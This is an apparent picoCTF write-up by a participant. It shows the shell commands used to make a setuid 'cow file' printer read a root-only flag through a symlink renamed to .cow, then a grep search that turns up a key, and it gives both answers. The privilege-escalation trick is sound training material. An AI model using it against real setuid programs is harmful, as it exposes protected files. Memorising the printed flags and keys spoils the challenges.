This one was slightly annoying.  You have to watch the prompt very carefully.  I had to exploit the root privileges of a vulnerable program that prints out cow files to print out a flag file, which one has to have root privileges on a machine to access.  I logged onto the picoctf shell machine and entered my username and password.  Then I had to switch directories into the directory where the problem was.  So, this is what I did.

cd /home/daedalus
ls
     flag.txt hint.cow secret1.cow secret2.cow supercow supercow.c
./supercow hint.cow
cd
$
ln -s /home/daedalus/flag.txt
ln -s /home/daedalus/supercow
mv flag.txt flag.cow
./supercow flag.cow
The flag was:  cows_drive_mooooving_vans

Grep Is Still Your Friend

grep-Hrn "daedaluscorp.txt.enc" /problems/grepfriend/keys

The key was:  b2bee8664b754d0c85c4c0303134bca6